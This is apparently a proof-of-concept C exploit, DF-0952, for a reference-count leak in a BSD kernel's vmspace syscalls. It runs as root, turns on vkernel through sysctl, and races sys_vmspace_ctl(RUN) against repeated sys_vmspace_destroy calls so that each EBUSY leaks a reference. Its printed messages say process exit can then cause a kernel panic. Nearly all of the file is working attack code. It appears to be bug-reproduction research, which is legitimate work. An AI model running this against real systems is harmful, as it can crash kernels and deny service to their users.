DF-0952 / vmspace_refs_leak_v2.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 | /* * DF-0952 — sys_vmspace_destroy ve->refs leak (v2 - real ctl RUN race). * * Strategy: get another LWP to bump ve->refs via sys_vmspace_ctl(RUN) * and stay there briefly, while main thread calls sys_vmspace_destroy. * On EBUSY the +1 ref added by vkernel_find_vmspace is leaked. * * sys_vmspace_ctl(RUN) needs a readable trapframe+vextframe. We give * it a zeroed one - copyin succeeds, but cpu_sanitize_frame may reject. * If cpu_sanitize succeeds, the LWP enters the foreign vmspace and * immediately faults (no mappings) which fires vkernel_trap and drops * the ref. The race window is between ctl's atomic_add_int and the * subsequent trap drop. */ #include <sys/types.h> #include <sys/syscall.h> #include <sys/socket.h> #include <sys/wait.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <sched.h> #define SYS_vmspace_create 486 #define SYS_vmspace_destroy 487 #define SYS_vmspace_ctl 488 #define SYS_vmspace_mmap 489 #define VMSPACE_CTL_RUN 1 /* Approximate sizes — the kernel copyin's `sizeof(struct trapframe)` * and `sizeof(struct savetls)`. 512 and 256 are generous upper bounds. */ #define TFRAMESZ 512 #define SAVETLSZ 256 struct vextframe { char tls[SAVETLSZ]; }; static volatile void *g_id; static volatile int g_ready = 0; static volatile int g_stop = 0; static void *runner(void *arg) { (void)arg; /* Wait for main to create the vmspace */ while (!g_ready) { sched_yield(); } /* Try to enter the vmspace. Will likely fail (cpu_sanitize_frame * rejects a zero frame) but if it succeeds we briefly hold a ref. */ char tframe[TFRAMESZ] = {0}; struct vextframe vframe = {{0}}; while (!g_stop) { int r = syscall(SYS_vmspace_ctl, (void *)g_id, VMSPACE_CTL_RUN, tframe, &vframe); if (r >= 0 || errno == 256) { /* EJUSTRETURN = 256 if surfaced */ /* We're now in the foreign vmspace; any syscall will trap back */ /* But the foreign vmspace has no mappings - we'll fault on * return-to-user. The trap drops the ref. */ } sched_yield(); } return NULL; } int main(void) { if (getuid() != 0) { fprintf(stderr, "[!] DF-0952 must run as root\n"); return 2; } system("sysctl -w vm.vkernel_enable=1 >/dev/null"); void *id = (void *)0x1234; g_id = id; int type = 0; void *data = NULL; int r = syscall(SYS_vmspace_create, id, type, data); if (r < 0) { perror("vmspace_create"); return 2; } printf("[+] vmspace_create(id=%p) ok\n", id); /* Try to populate the per-LWP cache via mmap (also exercises the find path). */ pthread_t t; pthread_create(&t, NULL, runner, NULL); g_ready = 1; /* Hammer destroy; each EBUSY leaks a ref */ int ebusy_count = 0, ok_count = 0, other_count = 0; for (int i = 0; i < 1000; i++) { r = syscall(SYS_vmspace_destroy, id); if (r == 0) ok_count++; else if (errno == EBUSY) ebusy_count++; else other_count++; if ((i % 100) == 0) sched_yield(); } g_stop = 1; pthread_join(t, NULL); printf("[*] destroy stats: ok=%d ebusy=%d other=%d\n", ok_count, ebusy_count, other_count); printf("[*] Each EBUSY permanently leaks one ve->refs. Process exit\n"); printf("[*] will panic in rb_vmspace_delete if any leak occurred and the\n"); printf("[*] ve was successfully deleted later (refs mismatch).\n"); return 0; } |